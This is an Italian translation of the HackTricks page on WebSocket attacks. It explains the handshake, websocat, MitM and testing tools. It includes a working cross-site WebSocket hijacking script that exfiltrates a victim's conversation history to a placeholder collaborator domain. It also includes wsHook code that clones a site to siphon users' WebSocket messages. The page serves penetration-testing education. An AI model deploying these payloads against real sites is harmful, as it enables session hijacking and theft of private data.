Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-16 09:48:14 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/websocket-attacks.md
Translator workflow 99e7865a3e Translated to Italian
2024-02-10 13:03:23 +00:00

12 KiB
Raw Blame History

Attacchi WebSocket

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Cosa sono i WebSockets

Le connessioni WebSocket vengono stabilite tramite un iniziale handshake HTTP e sono progettate per essere a lunga durata, consentendo la messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Ciò rende i WebSockets particolarmente vantaggiosi per le applicazioni che richiedono bassa latenza o comunicazione iniziativa dal server, come i flussi di dati finanziari in tempo reale.

Stabilimento delle connessioni WebSocket

Una spiegazione dettagliata sull'instaurazione delle connessioni WebSocket può essere consultata qui. In sintesi, le connessioni WebSocket vengono di solito avviate tramite JavaScript lato client come mostrato di seguito:

var ws = new WebSocket("wss://normal-website.com/ws");

Il protocollo wss indica una connessione WebSocket protetta con TLS, mentre ws indica una connessione non protetta.

Durante l'instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato negli esempi seguenti:

Il browser invia una richiesta di handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Risposta di handshake del server:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita.

Punti chiave della WebSocket Handshake:

  • Gli header Connection e Upgrade segnalano l'inizio di una WebSocket handshake.
  • L'header Sec-WebSocket-Version indica la versione desiderata del protocollo WebSocket, di solito 13.
  • Un valore casuale codificato in Base64 viene inviato nell'header Sec-WebSocket-Key, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con i proxy di caching. Questo valore non serve per l'autenticazione, ma per confermare che la risposta non sia generata da un server o una cache configurati in modo errato.
  • L'header Sec-WebSocket-Accept nella risposta del server è un hash del Sec-WebSocket-Key, che verifica l'intenzione del server di aprire una connessione WebSocket.

Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente.

Console Linux

Puoi utilizzare websocat per stabilire una connessione raw con un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

O per creare un server websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Connessioni websocket MitM

Se scopri che i client sono connessi a un websocket HTTP dalla tua rete locale attuale, puoi provare un Attacco di Spoofing ARP per eseguire un attacco MitM tra il client e il server.
Una volta che il client sta cercando di connettersi a te, puoi utilizzare:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumerazione di Websockets

Puoi utilizzare lo strumento https://github.com/PalindromeLabs/STEWS per scoprire, identificare e cercare automaticamente vulnerabilità note nei websockets.

Strumenti di debug per Websocket

  • Burp Suite supporta la comunicazione MitM dei websockets in modo molto simile a quanto fa per la comunicazione HTTP regolare.
  • L'estensione socketsleuth di Burp Suite ti permetterà di gestire meglio le comunicazioni Websocket in Burp, ottenendo la cronologia, impostando regole di intercettazione, utilizzando regole di match e replace, utilizzando Intruder e AutoRepeater.
  • WSSiP: Acronimo di "WebSocket/Socket.io Proxy", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per catturare, intercettare, inviare messaggi personalizzati e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server.
  • wsrepl è un REPL interattivo per websocket progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare i messaggi websocket in arrivo e inviarne di nuovi, con un framework facile da usare per automatizzare questa comunicazione.
  • https://websocketking.com/ è un sito web per comunicare con altri siti web utilizzando websockets.
  • https://hoppscotch.io/realtime/websocket tra gli altri tipi di comunicazioni/protocolli, fornisce un sito web per comunicare con altri siti web utilizzando websockets.

Laboratorio Websocket

In Burp-Suite-Extender-Montoya-Course trovi un codice per avviare un sito web utilizzando i websockets e in questo post puoi trovare una spiegazione.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, noto anche come cross-origin WebSocket hijacking, viene identificato come un caso specifico di Cross-Site Request Forgery (CSRF) che colpisce gli handshake dei WebSocket. Questa vulnerabilità si verifica quando gli handshake dei WebSocket vengono autenticati esclusivamente tramite cookie HTTP senza token CSRF o misure di sicurezza simili.

Gli attaccanti possono sfruttare ciò ospitando una pagina web malevola che avvia una connessione WebSocket cross-site verso un'applicazione vulnerabile. Di conseguenza, questa connessione viene considerata parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione della sessione.

Attacco semplice

Si noti che quando si stabilisce una connessione websocket, il cookie viene inviato al server. Il server potrebbe utilizzarlo per associare ogni utente specifico alla sua sessione websocket basata sul cookie inviato.

Quindi, ad esempio, se il server websocket invia indietro la cronologia della conversazione di un utente se viene inviato un messaggio con "READY", allora un semplice XSS che stabilisce la connessione (il cookie verrà inviato automaticamente per autorizzare l'utente vittima) invio di "READY" sarà in grado di recuperare la cronologia della conversazione.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie con un sottodominio diverso

In questo post del blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, l'attaccante è riuscito a eseguire codice Javascript arbitrario in un sottodominio del dominio in cui avveniva la comunicazione tramite websocket. Poiché si trattava di un sottodominio, il cookie veniva inviato, e poiché il Websocket non controllava correttamente l'origine, era possibile comunicare con esso e rubare token da esso.

Rubare dati dall'utente

Copia l'applicazione web che desideri impersonare (ad esempio i file .html) e all'interno dello script in cui avviene la comunicazione tramite websocket, aggiungi questo codice:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Ora scarica il file wsHook.js da https://github.com/skepticfx/wshook e salvalo all'interno della cartella con i file web.
Esponendo l'applicazione web e facendo connettere un utente ad essa, sarai in grado di rubare i messaggi inviati e ricevuti tramite websocket:

sudo python3 -m http.server 80

Condizioni di gara

Le condizioni di gara nei WebSockets sono una cosa, controlla queste informazioni per saperne di più.

Altre vulnerabilità

Poiché i WebSockets sono un meccanismo per inviare dati al lato server e al lato client, a seconda di come il server e il client gestiscono le informazioni, i WebSockets possono essere utilizzati per sfruttare diverse altre vulnerabilità come XSS, SQLi o qualsiasi altra vulnerabilità web comune utilizzando l'input di un utente proveniente da un WebSocket.

WebSocket Smuggling

Questa vulnerabilità potrebbe consentirti di eludere le restrizioni dei proxy inversi facendo loro credere che sia stata stabilita una comunicazione WebSocket (anche se non è vero). Ciò potrebbe consentire a un attaccante di accedere a endpoint nascosti. Per ulteriori informazioni, consulta la seguente pagina:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: